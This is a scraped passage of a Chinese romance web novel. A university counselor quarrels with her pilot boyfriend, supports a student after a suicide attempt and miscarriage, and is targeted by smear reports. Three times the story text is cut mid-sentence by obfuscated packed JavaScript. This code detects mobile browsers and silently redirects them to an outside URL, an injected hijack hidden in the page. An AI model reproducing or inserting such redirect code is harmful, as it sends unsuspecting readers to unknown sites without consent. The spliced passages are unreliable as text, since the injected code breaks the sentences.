【温可颜醒来后情绪不稳定,看到我弟就极为暴躁,江澈就联系上了她妈妈,现在人在城东医院,有她妈妈陪着】 【看在我救你的份上,赏个脸吃顿饭?】 当时周祈越划拉着对话框,一眼定在最上面一栏的消息【对不起,我今天还是过激了......】 再对照短信的日期,周祈越想起那天她受伤了。 陈夏柠抿着唇,被他握着手心沁出些许冷汗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890934|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>删了江逸风的微信,却忘记删除短信了。 “什么叫做他过激了?”周祈越面色更冷了些,追问,“那天到底发生了什么?” “就是跟校领导参观航海博物馆,他也在,代表江氏。”陈夏柠不紧不慢地说,“回来的时候他要载我,我没同意,就发生了点争执,我不小心摔倒了。” 周祈越快速反应过来:“他推你的?” 陈夏柠讷讷道:“也算是,他失手推的。” 周祈越扯了扯唇角,胸腔起伏着,像是压抑着什么,无可奈何地看着她:“我今天不问你,你就打算一直瞒着我是么?” “包括你去海边,如果没有救生手表给我传达信号,你是不是也不打算告诉我你遇到危险了?” 周祈越送她的手表是他出海淘来的高科技,除了两个手表可以互相感应,当检测到主人身处危险区域,会向另一个端口传递信号。 所以周祈越能快速找到她的定位,赶到朝阳岛的医院。 原来是这样,陈夏柠恍然大悟,抬眼看他,解释:“我只是害怕你听到江逸风会不开心,而且我可以应付他,就...就不想麻烦你。” “陈夏柠。”周祈越郑重喊她名字,气极反笑,“我生气了,不是在气别人,是在气你。” 她到现在还没明白他生气的点是什么。 周祈越语气着急了点:“我跟你说过多少遍了,男朋友就是要用来麻烦的,你有什么事都可以跟我说啊。” 只要你愿意跟我说,我都会替你分担。 可是你没有。 你总是一副对我也有所保留的模样,会让我觉得,我在你心中也不过如此。 陈夏柠眼角发酸,一时无措,“我想的是,你工作也很辛苦了,这些事很影响你心情。” “你不说,难道我就不会担心么?” 周祈越想起了很多事,胸口闷闷的,声音也沉闷下来,“你一个人心情不好喝闷酒,甚至……连你怕海,这些事我一直在等你愿意跟我敞开心扉,可是呢,等来的是你快丢了性命。” 陈夏柠心一颤,原以为自己藏得很好,还是被他发现自己怕海了。 周祈越在朝阳岛的时候就有所怀疑,那天坐大巴车她的反应,更加坚定了他的猜测。 这次她进入海里,发高烧昏迷状态,比温可颜严重许多,肯定是恐惧引起的生理反应,之前周祈越查过恐惧症的反应,跟陈夏柠能一一对上。 她张了张口,有些话如鲠在喉般,最后只能说:“对不起。” 这段感情里,她无比珍视又百般呵护,不曾想还是弄巧成拙,伤害了他。 周祈越真拿她没办法了,他哪里需要什么对不起,微不可察地叹气:“你能不能把我的话放在心上。” 话音刚落,沈屿山电话打来,周祈越看了眼时间,拿起手机往外走,顺便跟她说了声:“早点睡。” “好。”陈夏柠若无其事地点点头。 等他关上门走后,她坐在客厅里盯着某处发了一会儿呆,后来回屋拿起手机给许佳念打电话。 “怎么了,夏夏。”许佳念一开口,等了半天,才听到对面传来细微的声音,“你哭了吗?” 83. 依赖 “没哭。”陈夏柠此刻只觉得胸腔好像被盖子堵住了通道,心脏隐隐发紧又呼吸不畅,发出沙哑的闷腔,“就是...我让他不开心了。” “情侣有矛盾很正常。”许佳念很淡定又极为耐心地,“跟我说说是因为什么事,姐妹我好给你出对策啊。” “周祈越觉得我没有把他放心上。”陈夏柠吞咽了下,娓娓道来这两天发生的事,许佳念认真听着。 过了一会儿,陈夏柠回想起当时的场景,极为后悔地说:“我刚刚也不知道怎么了,还是不受控地选择隐瞒一些事。” “说了半天,咱俩认识这么久,你也没跟我说过自己为什么怕海啊。”许佳念轻笑了下,“夏夏你不一直都是这样嘛,别说周祈越了,就算是你最好的朋友,我有时候也不了解你,曾经也怀疑过你是不是没把我当好朋友。” “可是后来我就明白了,你啊,是被爸妈教坏了。”许佳念用了一个很形象的表达,仔细回想青春期的陈夏柠,“你爸妈总是跟你灌输女孩子要听话要乖,不要给别人带来麻烦。” 记得高二那年春季运动会,陈夏柠八百米长跑磕伤膝盖,鲜血直流,许佳念胆小怕血,吓得不停尖叫,送她去医务室的时候,医生给她处理伤口。 旁观的许佳念双手捂脸没眼看又在偷看的姿势,嚷嚷着:“医生你轻点,好疼啊啊啊啊。” 医生瞧了眼伤员,从进屋开始,陈夏柠咬着唇不发一言,看起来不怕这点小伤。 医生笑:“到底是谁受伤了啊。” “......”许佳念急忙站起身,翻她书包找手机,“快给你妈打电话,让她接你回家。” 陈夏柠拦住她的动作,不以为意地道:“这点小事就不用告诉她了,她工作很忙。” 许佳念眨了眨眼,表情在问:这是小事吗?你膝盖都要血肉模糊了。 如果是自己父母,工作再忙也能第一时间赶来看她,然后带她去医院拍片子检查有没有伤到骨头。 以前陈家还雇着司机亲自接送她上下学,但有了初中她因为顶着大小姐的身份被同学孤立的教训,萧婷收敛了许多,隐藏着她陈氏集团千金的身份,让她跟普通学生一样上下学,省得她因同学矛盾影响学业。 今天她受伤了,许佳念不放心,扶着她送到家。彼时客厅很热闹,萧婷和陈京辉,还坐着大伯父伯母一家四口。 大伯母揽着两儿子的肩膀,与有荣焉道:“我们家之凡和之豪的数学可好了,次次都是年级前三,听说夏夏数学不好,可以跟两位堂哥多请教请教啊。” 萧婷咧咧嘴,起身把女儿拉到跟前,“夏夏,你说说自己英语的平时分,是不是接近满分。” “.......”陈夏柠扭捏地点头,站在妈妈身边,一条腿虚撑着,完全单脚支着自己。 见状,许佳念耿直地插话:“阿姨,夏夏今天摔到膝盖了。” 大伯陈凯文关怀一句:“快看看孩子伤势,需不需要去医院。” 萧婷作势掀了下她校服裤子,有白纱布缠着,“不用,一点小伤而已,夏夏哪有那么娇气,跟男孩子一样坚强。” 话间,将陈夏柠拉到他们夫妻中间坐下,摸着她的头,望着陈凯文一家,开启王婆卖瓜自卖自夸的模式:“最重要的是,夏夏很乖很听话,没有男孩子的淘气,从不跟我添乱,无论是生活和学习都很自觉,完全不用我们夫妻俩操心的。” 当时许佳念就是个旁观者,就觉得他们家真窒息,她妈妈就很一言难尽。 相反,许佳念的爸妈就喜欢尊重孩子的天性,即使她从小爱闯祸,活得跟个假小子似的,爸妈也从不跟她灌输什么女孩子就该听话乖顺的思想。 思及此,许佳念觉得自己蛮幸运,“我认识很多同学朋友,她们在感情中,男朋友也像父母那样跟她说,你看看别的女生多懂事多乖,你怎么就不学着点,我工作很忙了,这点小事你能不能别烦我。” “我知道。”陈夏柠见到的很多情侣都是这样,“所以我一直都不想给他添乱,他工作那么忙。” 关于麻烦人这方面,陈夏柠一直很敏感,生怕成为别人眼中的拖油瓶。 “但是周祈越不希望你这样啊,他跟那些男的不一样。”分析到这,许佳念能理解周祈越生气的点,也暗自惊讶世界上竟然会有他这样的男人,“那些要求你变乖的人只是在试图改变你,顺从他们罢了。” “在真正爱你的人面前,你的过于懂事,报喜不报忧,会给对方一种怎么都走不进你内心的无力感。” “或许我应该替你高兴,你有一个很好的男朋友,他在教你,受伤了不要假装坚强,一个人默默忍受着,还有他可以依赖。” 还有他可以依赖。 陈夏柠靠在床头抱着双腿,下巴搁在膝盖上,眼底晦暗不明。 “虽然我没谈过恋爱,但我哥的感情史告诉我——”许佳念语重心长地说,“如果你想和那个人长久地走下去,有些事就不要总是避而不谈,否则你们俩的隔阂只会越来越大。” 许佳念打了个哈欠,平日她睡得挺早,今晚能跟她撑到半夜,属实是极限了,陈夏柠说了句“明白”和“晚安”。 挂完电话后,手机屏幕的时间刚好是1月2日0点整。 元旦已过,很多计划都泡汤。 她和温可颜同时缺席元旦晚会。 说好了今天去见周祈越父母,结果不但没去成,两人还发生了矛盾。 想当然,这一晚她没睡好,时不时盯着周祈越的聊天框,在心里组织台词。 大半夜的,实在不是个谈话的好时机。 第二天陈夏柠起早床,专门做了一顿丰盛的早餐,去敲隔壁的门,没人应声。 上班去了吗? 平日周祈越起得很早,就算不上班也有晨跑的习惯,但现在外面正下着雾雨。 不确定他是否在气头上,陈夏柠知道他家密码也没贸然进去,掏出手机给他发消息:【周祈越,你起了吗?我做好了早餐。】 原以为要等好久才能收到回复,毕竟周祈越生病都那么难为人,闹起脾气估计得更难伺候,但几乎是秒回。 July:【我上班去了。】 弹窗跳出来的时候,陈夏柠正往自己家走,边打开朋友圈,看见沈屿山发的动态,是昨晚十二点。 他录了一个视频,黑漆漆的港口全靠灯光撑着,J-711在淅淅沥沥的雨幕中降落。 并配文:【假期刚过,复工最早的一批牛马[苦涩]】 视频很短,陈夏柠没有看见周祈越出机舱的样子,已经能代入他昨晚的心情。 相当于是,他俩正闹着不愉快,一通电话就把他喊走,大半夜淋着雨也得执行任务。 停在玄关,陈夏柠胸腔的那股酸涩又涌上来,捧手机敲字的指尖都在发颤,反反复复打了好几遍:【昨天你说的问题,我做的不好,我会改的。周祈越,等你回来后我们再好好谈谈行么?】 陈夏柠不太会表达爱意,骨子里的性格也要强,但此时此刻是想告诉他,她在乎他,一直都把他放在心上。 隔着屏幕,并未感受到周祈越还在气头上:【嗯,别想太多。】 陈夏柠暗自松一口气,抬脚往厨房里进,跟他闲聊:【昨晚执行任务,你现在是不是在补觉?】 July:【刚躺下就看到你消息了。】 Lemon:【那赶快放下手机好好休息。】 这件事算是半推半就地解决完。 又想起元旦晚会她这个主持人当“逃兵”。 今天上班书记又该怎么控诉她,陈夏柠脑海里已经上演很多遍,也想好了认错台词。 万事不慌,她选择在家心平气和地吃个早餐,就当做是暴风雨前的宁静。 但万万没想到,刷到学校论坛疯传的视频,这个视频来源于微博的一家媒体报道,标题为:【女大学生轻生跳海,被过往渔民拯救!】 视频没有打码,清清楚楚地拍摄了温可颜往海里走,陈夏柠在身后拉她。 陈夏柠目不转睛地浏览着学校论坛评论。 【卧槽!温可颜竟然要自杀?!什么情况!】 【稀了奇了,年级第一,学霸自杀,学习压力太大了吧】 【也有可能是受情伤了,反正她跟隔壁学校的江大少爷,分分合合好多次了。】 【好奇,到底发生了什么?】 【拉她的那位是她辅导员,陈老师肯定知道情况。】 ........ 看见这条微博上了同城热搜时,陈夏柠瞳孔凝滞,“哗啦”一声,手边的筷子洒在地板上。 紧接着,王书记的电话打来。 “陈老师,我现在急需知道温可颜什么情况?前天发生了什么事啊。”王书记越说越激动,话语密了起来,“一早上有好几个记者打电话到学院,问事情的经过,还有的怀疑我们的教育方式有问题,让学生有了轻生念头.......” 任何事情一旦宣之于众就会变得复杂难办,陈夏柠还没搞明白哪来的视频,又被一通发问,属实头皮发麻。 但她现在也没法给出交代,只等见过温可颜之后才行,“书记,我先请一上午的假可以么?” - 温可颜的体质本来就弱,在冰冷的海水里浸泡,送到医院的时候,胎心很微弱,救护车连夜把她送到海云市医院,一番抢救还是没能保住孩子。 她醒来后得知孩子没了,只是眨了眨眼,摆出木讷的表情。 江澈拖着沉重的步伐进来,坐在床旁,病房内安静得像一滩死水。 江澈开口:“为什么不告诉我,你怀孕了?” “没了挺好。”温可颜眼睛盯着天花板,像是自言自语,“反正前不久你刚打掉一个孩子,不介意再失去一个。” “.......” 江澈瘫靠在椅背,看着她半晌,张了张口,话到嘴边又忍住,因为深知自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945802|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己说什么,她都不会再信。 他拉开凳子起身,无奈说:“你好好休息。” 江澈转身的瞬间,温可颜望着他的背影,突然来了句:“因为我觉得恶心,怀上你的孩子很恶心,跟你有关的一切都很恶心,我本来就没打算要它。” 江澈的脚步一顿,低头嗤笑了下,也受够了她一遍遍提及“恶心”两字,他的骄傲和自尊在她这,已经让步太多。 于是他所有的忍让顷刻间烟消云散,自暴自弃地说:“是啊,我就是恶心。但最先动心的不是你么,主动的也是你。” 是你明知道他是什么样的人,还在飞蛾扑火似的爱他。 最后伤痕累累,都是你自找的。 江澈砸门离开的那一刻,温可颜的眼泪喷发而出,在房间里哭得痛彻心扉。 彼时,温可颜的母亲梅盈只能无动于衷地站在病房外,什么都做不了。 医院走廊内,梅盈坐在长椅上,双手掩面,继续说昨晚的情况:“那个男生走后,她拿水果刀想自杀,被我拦住了。” 坐在旁边聆听整个过程的陈夏柠心里也不好受,旋即从包里掏纸给她,犹豫地问:“您和女儿是不是不常联系啊?” 梅盈点头,擦着眼角的泪水,哽咽了下:“她今天变成这样,我也有责任。” 梅盈是个女强人,连温父都害怕她,曾经她对女儿的教育模式就是好好学习,当个乖孩子。 青春期的温可颜本本分分,表面扮演家长眼中的乖乖女,实则内心非常羡慕那些活得肆意的同龄人,所以她会对江澈那样的坏男孩心动。 上大学后,温可颜不想再被妈妈管教着,刻意疏远家里人,再加上父母感情破裂,整天忙于离婚官司,实在无暇顾及她。 大学生活里,温可颜除了整天埋头学业,就是沉浸在和江澈的热恋中。 梅盈赶到医院听到女儿流产,下意识满腔怒火,可看见温可颜伤心欲绝的样子,又像是看见婚姻不幸福的自己。 所以,她没有责怪温可颜,因为深知那会成为压垮她的最后一棵稻草。 “陈老师,我谢谢你。”梅盈止住眼泪,侧身,跟她颔首,“谢谢你救了我女儿。” “别——”陈夏柠吐出一个音节,病房就传来护士的嚷嚷声:“你冷静一点,冷静!” 两人急忙起身进病房,温可颜拔了针头,想要从窗户跳楼,被护士拦住。 五分钟后。 护士重新给温可颜手背扎针,梅盈紧紧地把女儿抱在怀里,恳求着:“颜颜,妈求你,别做傻事好不好,我只有你了。” 陈夏柠躬身捡起被扔在地上的手机,页面正显示论坛对温可颜的评论,给手机关机,又看着此刻颓丧到失去求生欲望的温可颜,她鼻尖泛起酸意。 离开医院的时候,陈夏柠一打开手机看到很多条消息通知,值得可贺的唯有一封期待已久的邮件,程淑琳把心理医生的个人资料发给了她。 还有一条是她讲述暗恋故事的微博帖子,到现在还有人回复:【我今年高二,喜欢的那个男孩也是个浪子,他长得很帅,学习也好,女朋友从不缺备胎。像他这样耀眼的人,好希望他能多看我一眼。】 看到这个评论时,陈夏柠刚好在医院门口看见江逸风,他拉开车门,手里夹着一支烟,朝她走过来。 陈夏柠轻蔑一笑,也是嘲笑曾经的自己。 直到男人停在跟前,正要张口说话,她以一种极其厌恶的目光,用尽所有冷漠语气:“以后离我远点。” 江逸风怔了一下,陈夏柠毫不留情地跟他划清界限,果断拦车离开。 路过中国海事大学附近的美食街,看着窗外成群结队的少男少女们,想起有一次在这逛夜市,她和江逸风走散了。 后来再找到他的背影,准备从身后吓他,无意间听见他和朋友的玩笑话。 朋友说:“江少爷,今天情人节,金帝会所见啊,到时候估计很多妹子跟你表白。” 另一个朋友笑着附和:“你这上大学后只顾把妹怎么不正经谈一段了?” 江逸风意兴阑珊道:“那些女的都一个样,没新意。” “哟,你想换口味了,要不考虑你的邻家妹妹?”朋友问,“你觉得她怎么样?” 闻言,陈夏柠心下一紧。 江逸风吊儿郎当地笑了笑:“她胆子可小了,要是她今晚敢上金帝会所喝一杯,爷试试能不能钓到她。” “......” 陈夏柠形容不了当时的心情,肯定是没有喜悦的。 当晚也没出现在金帝会所。 她虽然喜欢一个人,却不希望得到一份随随便便、堂而皇之的感情。 思及此,陈夏柠也不完全讨厌曾经的自己了。 至少,她做了一件正确的事。 清醒地保护了自己。 下车后,陈夏柠转发了那条热度最高的微博:【总有无知少女相信浪子回头,而我,再也不会了。】 84. 新闻 陈夏柠拉开办公室的门,屋里的人倒是热闹,王书记正和其他三位开会,坐在门口的宋月最先看见她,哎了声:“说曹操曹操到。” 一瞬间四双眼睛齐刷刷转向自己,陈夏柠不用猜也能知道他们在商议什么,毕竟女大学生跳海的新闻正热乎着,压力已经给到航院的老师了。 王书记拧着眉,就这么站在过道,朝她做了个邀请的动作,“陈老师,说说温可颜现在的情况吧,到底是怎么回事?!她不是你底下的优等生吗?” 鹿雯看了她一眼,又瞧着书记笑了笑:“书记你别着急,慢慢听陈老师说。” 陈夏柠感觉自己像个犯人,也没往里进,背靠房门,镇定自若地说:“温可颜已经无碍了,但现在情绪还是不稳定,我去医院跟她妈妈聊了聊,了解到她爸妈刚打完离婚官司。” 宋月:“所以,她是接受不了爸妈离婚,一时想不开才有轻生的想法?” 陈夏柠垂眸,轻嗯了声。 现在的学生心理有多脆弱,受点打击就要死要活,王书记看着能接受这套说辞,继续追问:“那陈老师是怎么发现她有轻生念头,又及时阻止了她?” “我也是凑巧,”陈夏柠瞧着他们,自圆其说,“我不是和温可颜都在准备元旦晚会么,那天看她躲在楼梯口哭,安慰了她几句,本来以为她没事了,谁知一转身她飞速跑下楼。” “我没喊住人,不太放心跟了过去,追到校门口看见她拦车,我也拦车追着她朝阳岛了。” 说这些的时候,陈夏柠想起那天去医院的一路,温可颜就坐在她身边,没有爆发,一直到医院等待做人流,温可颜都格外平静。 有那么一刻,她天真地以为,温可颜看清江澈这个人,从此以后便不会为他做任何傻事,好好地爱护自己。 可事实证明,温可颜压根接受不了,也承受不住这么大的伤害。 王书记哀叹一声,不知该怪谁了。 沉默了半天的林思忙不迭接话,闲散道:“看来陈老师得多加强学生的思想工作啊,身为导员,这学生的心理测量表你得多关注,多跟他们聊天谈心,相关班会我们都得经常开展。” “陈老师带的是庄可的学生,以前庄可在的时候没出问题,偏偏到陈老师这.....” 眼瞧着这把火快被拱大,鹿雯瞪了眼林思,打断话:“我们是导员,是普通人,不是每个学生肚子里的蛔虫,他们心里想什么,我们又没有未卜先知的能力。” “陈老师的工作态度怎样,大家有目共睹。林老师不要本末倒置,不要忘了是陈老师及时救了学生,这不是没酿成大祸嘛。” “对对对,没酿成大祸,温可颜也就差一点没命了。”林思谄笑,“我们航院的脸丢的还算小了。” “......”鹿雯猛地站起身,被这话堵得眼冒金星,“你这人怎么这么茶啊!” 林思立刻怼回去:“你嘴巴放干净点。” “......” 王书记不耐烦地敲了敲桌面:“行了!我还在这呢!” “......” 陈夏柠使劲跟鹿雯眼神示意,让她冷静再冷静。 见状,旁边的宋月拍了下鹿雯的肩膀,后者像只易燃的气球。 “书记,我们谈一谈这件事的解决方案吧。”陈夏柠转移话题。 这办公室的硝烟正弥漫着,王书记本来就着急上火,现在又有两个搞内讧的,无奈跟她说:“去我办公室谈。” 陈夏柠让道开门,跟书记没聊一会儿就放学了。 等再折回辅导员办公室,只剩鹿雯一人焉了吧唧地趴桌上。 “我请你吃饭。”鹿雯是因为帮她说话才和林思拌嘴的,陈夏柠诚恳道:“谢谢雯雯姐。” “谢什么。”鹿雯抬头,不以为意地说,“我早就看不惯她了,就是茶!” 陈夏柠打了个噤声的手势,有时候也担心她这直来直往的性格,“祸从口出,谨言慎行,这可是你教学生的原话。” “知道了知道了。”鹿雯推着她出办公室,两人心照不宣地去校外那家火锅店。 “那,你和书记怎么协商的,后续怎么解决?” 陈夏柠长叹一口气,其实内心有罪恶感的,毕竟是她带着温可颜去医院,没看住人,也没第一时间察觉到她的不对劲。 温可颜这朵温室的花已受到摧残,又不知哪来的新闻报道,让全校都知她轻生,因为这事更抑郁了。 陈夏柠跟书记再三强调整改学校论坛,中止这场议论,要是记者来问情况,就说是学生个人原因,其他拒不奉告。 两姑娘进入火锅店,找位置坐下。 鹿雯觉得她这做法很对,在制止流言蜚语对温可颜的攻击,“学校论坛好办,微博上议论的网友,咱管不住啊。” “我准备联系发新闻的媒体了,未经本人允许,不打码上传视频,本身就不合法。”说着陈夏柠点开微博,发现首发媒体已经删视频了,但话题还在热议,“好奇怪啊,我一直搞不懂是谁拍的,而且这新闻刚发一上午又撤掉,他们在干嘛。” “可能被举报了吧,这不挺好,省得你操心了。”鹿雯为她捏把汗,点了鸳鸯锅,递给她菜单让她选配菜。 “昨天上午元旦汇演,你和温可颜玩突然消失,导演快要原地爆炸了,我电话也联系不上你,没想到你俩在经历九死一生。” 陈夏柠随便勾选着配菜,认真听她说情况,抬眼看她:“那后来怎么解决的,方才和书记聊天他也没提这事。” 原本她都做好被训斥的准备了。 “是林思。”鹿雯变了脸色,不咸不淡地说,“她顶替了你的主持位置,又请来了她的好朋友代替温可颜弹钢琴。就那个陈家大小姐,你见过的。” 陈夏柠正撕着碗筷包装,瞳孔一滞,佯装平静道:“她钢琴应该弹得不错吧。” “还行吧,反正能救场。”鹿雯昨天去了现场,有录制航院大合唱,发给她看,嘟着嘴说,“我看林思能这么狂,就是仗着自己有陈之夏这个土豪朋友,有什么了不起的,谁没有啊。” 陈夏柠盯着屏幕里专注弹钢琴的陈之夏,眼底幽深,声音沉闷地:“她弹得比我好。” - 傍晚,郊区下了一场雷阵雨。 周祈越迷迷糊糊地醒来,左顾右看了半晌,恰好沈屿山推门进来,对上他呆滞的眼神,抬手摸了下他额头,“还认识我吗?周少爷。” 周祈越打开他的手,双手按在床板缓慢坐起身,一股刺痛席卷而来,他轻嘶了声:“我不是在宿舍么?” 现在是在基地的医院。 “就在你快进阎王殿的时候。”沈屿山将移动餐桌挪过来,把福鼎记套餐放桌上,眼尾扫他,“自己拆,不是挺能逞强的嘛,钢铁侠。” “......” 昨晚周祈越营救完一批渔民,飞机刚着陆没多久,搜救局又接到急救,负责海域发生货船撞礁事故。 救援队有规定,考虑安全驾驶问题,机长不可连续执行任务出海,可当时大半夜,只有四位机长在港口,有三位已经出过任务了。 只剩下队长白冀言,货船上有三十多人,一架飞机根本不够,于是周祈越主动请缨,沈屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015021|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山拦也拦不住。 白冀言不太放心,让副驾乔书杰分给他,想着两人同开一架飞机保险些。 结果,白冀言一人操纵飞机成功营救,而周祈越的J-711悬停海面时,由于操纵失误,被风向刮得偏离位置,险些坠海。 还好当时有备用计划,白冀言察觉到J-711的异样,第一时间联络沈屿山和董广机长出动。 凌晨破晓之际,J-711的搜救人员一下飞机,脚步踉跄,还有人呕吐不止。 沈屿山跟周祈越搭话,他只是摆摆手没吭声,浑身疲倦到极点,回到基地就往宿舍里窝。 “我敲你宿舍的门,手都敲烂了,也没见你叫一声,”沈屿山吹了下还在生疼的掌心,“最后砸开门,我和老董用担架给你抬到这了。” 周祈越笑:“记得赔我个门。” “……你还有心情开玩笑!”沈屿山气急败坏地戳他肩膀,“你他妈是不是找死,肩膀有伤不早说,下飞机问你要不要去医院,你不屌我,鬼知道你还有内伤。” 周祈越是二次创伤,伤口发炎,引起高烧。 “我没感觉到。”他轻咳了声,情绪恹恹的,肚子很饿,慢条斯理地拆外卖包装,问:“队长准备怎么处罚我?” 沈屿山面色一沉,深知他在问昨晚事故的追责,挠着头支吾道:“你...你放心,队长不会处罚你,本来就是他同意你出任务的......” “但局里肯定会追究。”周祈越直勾勾地盯着他,“乔书杰是不是先发制人?” 沈屿山慢吞吞地点头:“他跟局里再三强调你是主驾,所有责任在你。” 周祈越勾唇笑了,历史重演了,意味深长道:“这次他可能要失算了。” 同样的算计,他不会栽第二次。 “啥?”沈屿山没搞懂他在说什么。 周祈越:“我手机呢?” “我没拿啊,应该在你宿舍。”沈屿山气冲冲指着他,“有什么事痊愈了再说,你老实待在这安心养病啊,哪都不许去,你要是敢踏出这门半步,咱俩的兄弟情义一笔勾销!” “......”周祈越好笑地看他,“我跟家里人打个电话就不行?” “谁?我帮你打。” “女朋友。”周祈越顿了一下,拿腔拿调道,“例行公事的晚安电话。” 沈屿山掏出的手机又塞回去,“生个病你还撒狗粮,有没有天理了!”单身狗备受重创,凉凉道:“我手机没电了,明天再说。” 周祈越:“......” 沈屿山出了病房,立马原型毕露,心虚地摸了摸另只口袋,藏着周祈越的手机。 这个时候,绝对不能让他看手机,否则人没死也要心死了。 谁能想到,女大学生轻生的新闻一撤,是大学辅导员的新闻冲上热搜。 【论大学辅导员的私生活有多乱?一边傍上江氏总裁,一边勾引学生!】 这条新闻令陈夏柠措不及防。 晚自习结束后,书记办公室。 王书记看她的脸色要多难看有多难看,胸腔剧烈起伏着:“抛开这个新闻不谈,我不知你惹了什么人,也相信这些记者捏造事实——” 陈夏柠咬着唇,维持着成年人的体面,没什么情绪的样子。经历那么多事,她早就不是那个遇事就爱哭的小女孩了。 “但陈老师,这份心理报告是怎么回事?”王书记递过来一份就诊记录,是她挂的心理科的诊断记录。 陈夏柠心口一紧,脑袋嗡嗡响,似乎有什么东西断掉了,瞬间急了:“书记,这谁给你的?” 85. 蜉蝣 她这般大惊失色,王书记愈发坚定这份就诊记录的真实度了,先让她入座,心平气和地跟她谈话。 “这是人事那边收到的匿名邮件,他们没张扬,先转发给我了。” 王书记摘掉眼镜,揉了揉眉心,放缓语速,“邮件内容大概就是,谴责我们任用心理不健全的辅导员......言词最后还带着点威胁,如果我们不撤查,就举报给教育部。” 陈夏柠双目涣散,放在桌下的手揪住衣角,敏感地抓住五个字——心理不健全。 感受到她低落的情绪,王书记说话更小心翼翼,“当然,我们不会是非不分,如果你愿意去医院开个证明,人事那边我会替你——” “不用了。”陈夏柠摇摇头,已经明白发件人的目的,“抱歉书记,任职的时候我的确隐瞒了自己有恐惧症。” 王书记沉默了一小会儿:“其实我也快离职了,最后一个任务就是你和林老师的综合考察。目前学校的留任名额只有一个,客观地讲,无论能力还是品德,你远远胜于林老师。” “但这几天发生的一连串的事,对你很不利。”王书记是经历大风大浪的人,不会仅凭表象去定义一个人,也不细问她的难言之隐,只是语重心长道:“无论你以后能不能在海大任职,希望你能妥善处理这些,毕竟事关你的职业生涯和个人声誉。” “嗯嗯好。”陈夏柠点头如捣蒜。 ...... “叮”的一声,电梯门开,陈夏柠走出去,望着隔壁1301的门愣了三秒,收回视线,回自己家。 站在玄关,她换上一双兔子棉拖,想起刚入冬那会儿,周祈越带她逛商场买衣服,路过一家橱窗,他目光锁定那排可爱呆萌的兔子棉拖上,又瞧了瞧她,“你看,多像你。” 陈夏柠:“......” 严重怀疑,周祈越在回击她说他像泰迪熊和月牙。 于是她下巴点着一排灰太狼棉拖,“大灰狼很符合你,坏坏的。” “......” 周祈越正两手拎着购物袋,腾出一只手搭在她肩膀,将人拉进怀里,骨节分明的手指捏着她柔软的脸颊,边拉陈夏柠进店,“你这只小白兔,再也找不到像我这么一表人才、一身正气的大灰狼。” “......” 镜头一转,陈夏柠趿着拖鞋往卧室走,一进屋就扑在床上,四肢伸张,抬眸看见枕边的泰迪熊。 抽出手机看微信的置顶,没有红点。 她把泰迪熊抱在怀里,不自觉点开微博那条新闻。 报道里面的照片足够清晰,江逸风在小区门口给她送玫瑰花、圣诞节在艺术楼,裴青寂给她送玫瑰花、还有医院走廊她和江逸风的画面。 她的生活像是安装了随身摄像头一样,被监视着。 所有的一切都是早有蓄谋。 此刻,陈夏柠捋清了很多事,上午那篇报道女大学的新闻不是针对温可颜,真的矛头实则是她这个辅导员。 到底是谁在暗中做这些事,怀疑对象不止一人。 事已至此,陈夏柠根本不在乎外界对她的看法,唯独担忧周祈越会作何反应。 原本他就在气头上,两人还没和好。 越想越害怕,陈夏柠一激灵坐起身,急忙拨他电话。 “对不起,您拨打的电话已关机......” 关机? 陈夏柠神色黯然,鼻尖已有了涩意。 造谣者似乎想继续发酵,现在这条报道不仅微博有,连微信公众号也在转载。 她没心情看下去,刚准备熄灭屏幕。 念念不忘:【闪现.jpg】 念念不忘:【偷看.jpg】 念念不忘:【你还好吗?】 陈夏柠曲起双腿靠着床头,下巴搁在膝盖上,捧着手机敲字: 【今早我跟他发消息说,等他回来我们再好好谈谈。刚刚我跟他打电话,显示关机,你说他是不是看到新闻很生气,以后都不理我了?】 念念不忘:【宝,你能别乱想嘛!电话都没打通,你这是跟我上演偶像剧男女主误会梗是么?!】 陈夏柠知道自己这样很武断,但就是很想他,很想听到他的声音。 念念不忘:【你不是说周祈越出任务不分白天黑夜嘛,说不定他正在忙,或者手机没电了,有好多种可能啊。】 Lemon:【知道了。】 两人有一搭没一搭地聊了一会儿,许佳念帮她想了很多解决策略,又安抚她几句,确认她没抹眼泪崩心态,才放心跟她说晚安。 夜色深沉宁静,凛风拨开云层,如钩似的月亮终得盈满。 陈夏柠抱着泰迪熊入睡,最近梦见那个梦境的频率愈来愈高,隐隐约约能看见小男孩的脸。 “小柠檬,快点跟上我啊。” “周七月,周七月......”她望着小男孩的背影,笑容渐渐褪去,低喃着,“别离开我。” - 第二天照旧是工作日,陈夏柠按时起床洗漱。 